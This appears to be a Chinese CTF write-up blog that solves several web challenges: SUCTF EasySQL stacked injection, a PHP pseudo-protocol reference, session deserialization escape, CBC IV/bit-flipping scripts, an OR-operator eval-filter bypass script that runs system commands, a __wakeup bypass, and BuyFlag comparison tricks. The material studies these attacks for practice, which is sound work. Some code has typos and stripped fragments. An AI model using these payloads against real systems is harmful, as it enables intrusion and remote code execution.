suctf2019easysql(堆叠注入)

suctf2019easysql

待定系数法

可以猜测sql语句:select (a,$query,b) from table(c)

如果直接查询1,返回1,
则如果a是存在的,则不可能单独输出这一列的数据出来,否则不可能只输出一个值出来
同理,如果b是存在的,则不可能单独输出这一列的数据出来。
如果a和b都是不存在的,则查询数字时必然会返回数字本身
所以可以通过判断返回的数据判断a,b是否是存在的
c是否存在,主要看数据表的数量和会调用哪个数据表中的数据信息

实例

首先我们可以尝试各种符号的闭合,当尝试到双引号时,发现会出现nonono的字样,可以判断对双引号有过滤,然后
尝试其它的符号时发现没有返回,可判断当输入出现错误时,页面不会返回错误的信息
suctf2019easysql1

suctf2019easysql2

然后我们可以尝试1#或1–+,发现返回正确的数据,而#和–+是注释符的作用,因此可以判断是整型注入

suctf2019easysql3

然后我们构造联合注入,发现union被过滤掉了,不过使用堆叠注入的时候,发现没有问题
因此我们可以构造payload:
显示数据库

1
1;show databases;

suctf2019easysql4
显示数据表

1
1;show tables;

suctf2019easysql5
当时使用payload:1;show columns from flag; 时,发现flag被过滤掉

此时我们可以知道只有一张数据表,它是flag,因此我们可以猜测sql的语句中一定有:select和from flag
因此我们可以使用待定系数法,构造几个未知的变量,然后根据sql语句的格式猜测本题sql语句的格式:

1
select (a,$query,b) from flag(c)

如果查询1,发现返回1
如果a存在的话,不可能单独输出一列的数据信息,否则不会输出一个值的信息出来
同理,如果b存在的话,也不可能单独输出一列的数据信息出来
又因为如果a,b都不存在的话,则查询什么数字,则返回什么数字
因此可判断要么a,b都存在,要么a和b存在其一

因此可以构造出payload

1
1;  此时sql语句为:select (a) 1; (b) from flag

返回1的值,而没有报错或无返回

构造payload

1
2;  此时sql语句为:select (a) 2; (b) from flag

返回2的数值,而没有报错或无返回

由此可进一步判断,(a)很可能是不存在的

由于无论输入的是什么数值进去,返回的都是1,由经验可判断能是$query || 1,在sql语句中
||符号是逻辑或的意思,如果

1
2
3
4
5
6
NULL || NULL =NULL

NULL || 非零数值=1,否则返回NULL

两个操作数都为非NULL值,则只要有一个操作数为非零值,则返回1,否则返回0

因为输入的数字都是返回1的,且由以上||的定义可知,$query || (不是NULL值,也不是非零数字),由此可猜测
sql语句格式为:

1
select $query || (不是NULL值,也不是非零数字)from flag

因此有两种方法:
第一种
只需输入

1
*,1  此时sql语句:select  * , 1 ||(不是NULL值,也不是非零数字)from flag

可输出两列的信息数据

第二种
sql_mode是一组mysql支持的基本语法及检验规则
查看命令为:select @@sql-mode;

可以构造payload:

1
2
1;set sql_mode=PIPES_S_CONCAT;select 1;

sql_mode的具体知识看;
https://www.cnblogs.com/piperck/p/9835695.html

伪协议

php伪协议

我们在ctf中可能遇到的包含函数

1
2
3
4
5
6
7
8
9
10
11
include( )
require( )
include_once( )
require_once( )
highlight_file( )
show_source( )
readfile( )
file_get_contents( )
fopen( )
file( )

PHP伪协议其实就是支持的协议和封装协议,有12种:

1
2
3
4
5
6
7
8
9
10
11
12
file:// ——访问本地文件
http://——访问HTTP(s)网址
ftp://——访问FTP(s)URLs
php://——访问各个输入或输出流(I/O streams)
zlib://——压缩流
data://——数据(RFC2397)
glob://——查找匹配的文件路径模式
phar://——PHP归档
ssh2://——Secure Shell2
rar://——RAR
ogg://——音频流
expect://——处理交互的流

file://

file://用于读取本地文件,不受allow_url_fopen和allow_url_include影响

file://[文件的绝对路径和文件名]

1
2
http://127.0.0.1/index.php?file=file://D:/soft/xiaocheng.txt

[文件的相对路径和文件名]

1
2
http://127.0.0.1/index.php?file=./xioacheng.txt

http://网络路径和文件名

1
2
http://127.0.0.1/xioacheng.txt

php://

php://用于访问各个输入/输出流(I/O streams),不受allow_url_fopen影响

1
2
3
php://filter 用于读取源码
php://input 用于执行php代码

使用上面两种格式的php伪协议格式时,需要allow_url_include是on

常用php://filter读取文件源码的格式(针对php文件需要base64编码):

1
2
php://filter/read=convert.base64-encode/resource=[文件名](如果文件内容非php语法,则输出源码内容,如果是php语法,则执行php代码)

常用php://input执行php代码的格式(输入的php代码部分需要post提交)

1
2
php://input[POST DATA]<?php phpinfo(); ?>

zip://协议&bzaip2://协议&zlib://协议

zip://协议&bzaip2://协议&zlib://协议都属于压缩流,可以用来访问压缩文件中的子文件,而且不需要指定文件名后缀,可修改为任意后缀

zip://[压缩文件的绝对路径]%23[压缩文件内的子文件名](#编码%23)

1
2
zip://D:\www\xiaocheng.zip%23cheng.txt

compress.bzip2://file.bz2压缩xiaocheng.txt为xiaocheng.bz2并上传(同样支持任意后缀名)

1
2
compress.bzip2://D:\www\xioacheng.bz2

compress.zlib://file.gz压缩xiaocheng.txt为xiaocheng.gz并上传(同样支持任意后缀名)

1
compress.zlib://D:\www\xiaocheng.gz

data://协议

data://协议可以执行php代码,但是需要allow_url_include和allow_url_fopen是on的,也可以写入文本数据

data://协议常用的格式:

1
data://text/plain,<?php phpinfo(); ?>

其它格式:

1
2
3
4
5
6
7
8
9
10
11
12
data://,<文本数据>

data://text/plain,<文本数据>

data://text/html,<html代码>

data://text/css,<CSS代码>

data://text/javascript,<js代码>

data://text/gif;base24,<base24编码的gif图片数据>

phar://协议

phar://协议可以访问zip格式压缩包内容

1
http://127.0.0.1/index.php?file=phar://D:\www\xiaocheng.zip\xioacheng.txt

详细请看:https://segmentfault.com/a/1190000018991087
https://www.jianshu.com/p/2fce6931dd06

安洵杯2019serilaze

安洵杯 2019]easy_serialize_php

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} #对$img里面的php,flag,php5,php4,fl1g进行过滤


if($_SESSION){
unset($_SESSION);
} #将已有的session删除掉

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; #给名为user和function的session赋值

extract($_POST); #用POST提交的方式叫html表单

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} #如果没有img_path这个变量,则给guset_img.png加密,有,则给img_path加密

$serialize_info = filter(serialize($_SESSION)); #将$_SESSION序列化的值给filter过滤

if($function == 'highlight_file'){
highlight_file('index.php');
} #如果变量是highlight_file,则显示index.php
else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
} #如果变量是phpinfo,则显示php信息
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img'])); #如果变量是show_image,则显示$img变量里的文件里的内容

通过观察php的信息,可以看到一个文件信息d0g3_flag.php

但是我们无法读取这个文件的内容,然后通过代码审计,我们可以使用反序列化逃逸,通过改变img的值来读取

可以通过exp来知道原来_SESSION序列化的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$function=@$_GET['f'];

$_SESSION["user"]='guest';
$_SESSION['function']=$function;
$_SESSION['img']=base64_encode('guest_img.png');

extract($_POST);

$serialize_info=serialize($_SESSION);

echo $serialize_info;
?>

此时输出的是:
a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;N;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}

我们可以通过减少关键词的数来逃逸
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}

我们可以得到
$flag = ‘flag in /d0g3_fllllllag’;

然后我们再改变一下img的数值
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}

从而得到flag
flag{7b704900-c0d7-4302-90a6-fc459a2c405c}

对iv进行修复

对iv进行修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64
import urllib
cipher=' ' #提交后所得的无法反序列化密文
iv=' ' #一开始提交的iv
cipher=urllib.unquote(cipher)
cipher=base64.b64decode(urllib.unquote(iv))
newIv=' '
right='a:2:{s:8:"userna' #被损坏前的正确明文

for i in range(16):
newIv+=chr(ord(right[i])^ord(iv[i])^ord(cipher[i])) #这一步相当于把原来iv不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

或运算绕过

或运算绕过

查看源码

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

通过查看源码可以看到对于输入,它对多个字符进行了过滤,因此可以使用或运算的方式来绕过过滤,通过或运算的原理

输入命令:

1
syetem('ls');

和输入命令:

1
('system')('ls')

它们都是一样的,不过要在5.6版本才可以使用

因此,可以写相应的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#-- coding:UTF-8 --
import requests
import urllib
import re
from sys import *
if(len(argv)!=2):
print("="*50)
print("USRE:python3 exp1.py <url>")
exit(0)
url=argv[1]

def write_rce(denyword):
result=''
preg = denyword
for i in range(256):
for j in range(256):
if not (re.match(preg,chr(i),re.I) or re.match(preg,chr(j),re.I)):
k= i | j
if k>=32 and k<=126:
a="%"+hex(i)[2:].zfill(2)
b="%"+hex(j)[2:].zfill(2)
result+=(chr(k)+' '+a+' '+b+'\n')
f=open("result.txt","w")
f.write(result)

def action(string):
s1=""
s2=""
for i in string:
f=open("result.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)


if __name__=="__main__":
denyword=input("deny: ")
write_rce(denyword)
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param=action(s1) + action(s2)
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)


通过运行脚本,我们可以输入system和ls来查看当前目录下的文件,然后用system和cat <文件名> 来查看文件里的内容

对cipher进行翻转

CBC中对cipher进行翻转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import base64
import requests
import urllib


iv_raw='NdSNDmRE9krO3GFhtgtpCQ%3D%3D'
print("原来的iv_raw:"+iv_raw)

cipher_raw='ZtbLOd8aevMJOTnaG6irEdkhmf3qfqBigqioL1vsDugWkwYJ%2FHUZrkF56V6zza4ZdzNex8EOb1u%2Bc%2FPPakb0VA%3D%3D'

print("原来的cipher:"+cipher_raw)

cipher=base64.b64decode(urllib.unquote(cipher_raw)) #对cipher_raw用urllib.unqote进行url解码,然后用base64.b54decode()对url解码出来的东西进行base64字节流解码

#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}

xor_cipher=cipher[0:9]+chr(ord(cipher[9])^ord('z')^ord('a'))+cipher[10:] #取出cipher(即原序列化)中我们要更改的字符,然后用异或的方式进行更改

print("翻转后的cipher:")
print(urllib.quote(base64.b64encode(xor_cipher)))

极客大挑战 2019PHP

极客大挑战 2019php

观察页面,发现页面有写有备份网站的文件,然后就用dirsearch和御剑扫描域名的目录

发现后缀文件名为index.php和www.zip时,状态码为200

因此,在域名后加www.zip的目录信息

http://d94bb716-8ba6-4774-b46f-abb523abfa71.node3.buuoj.cn/www.zip

可以下载压缩包

打开压缩包后发现几个文件,然后逐个打开,发现class.php里的php代码

审计代码

username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; #将guest赋值给$username } function __destruct(){ #销毁时调用 if ($this->password != 100) { #判断password是否等于100 echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { #判断username是否是admin global $flag; #对外部$flag同名引用 echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } ?>

通过代码审计可知只要username=admin且password=100,则可以显示出flag,但是因为有__wakeup()这个函数,所以输入的username会变成guest
而__wakeup()函数,如果表示属性个数的值大于真实属性个数的值,那么就会绕过__wakeup()函数。又因为成员变量使用的是private这个声明私有字段
所以需要将成员变量的值放在new Name()的括号中,且序列化时,类名和字段名的前面都会加上\0的前缀

构造exp得到序列化后的数值

username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } } $a=new Name('admin',100); echo serialize($a); ?>

得到的结果是

O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}

需要在类名和字段名前面加上\0的前缀,同时改变属性的数值,将2改为3

O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}

然后构造payload

index.php?select=O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}

便可得到flag

文件上传html

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body><form action="http://270d00af-27b8-4527-a8bd-786af2f51c5e.node3.buuoj.cn/?ctf=upload" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="postedFile" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

极客大挑战 2019]BuyFlag

极客大挑战 2019]BuyFlag

查看页面源代码。可以看见一段代码,对代码审计

1
2
3
4
5
6
7
8
9
10
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}
else if ($password == 404) {
echo "Password Right!</br>";
}
}

通过代码,我们可以知道我们要绕过is_numeric()函数,我们可以用两种方法:
第一种,我们可以利用php弱类型,构造password=404asd来绕过
第二种,我们可以利用is_numeric()漏洞来绕过,我们可以构造password=404%00来绕过

同时我们观察页面,发现需要money,所以我们可以构造post提交的数据
password=404%00&money=100000000

然后我们再进行抓包
buyctf1

然后我们将user=0改为user=1,由于要绕过第一个student,直接input password
buyctf2

发现显示money字段太长,我们猜测这里有个比较,可能是strcmp函数进行比较,此时我们利用strcmp函数的漏洞,构造一个数组
password=404%00&money[]=100000000

然后我们就能得到flag
buyctf3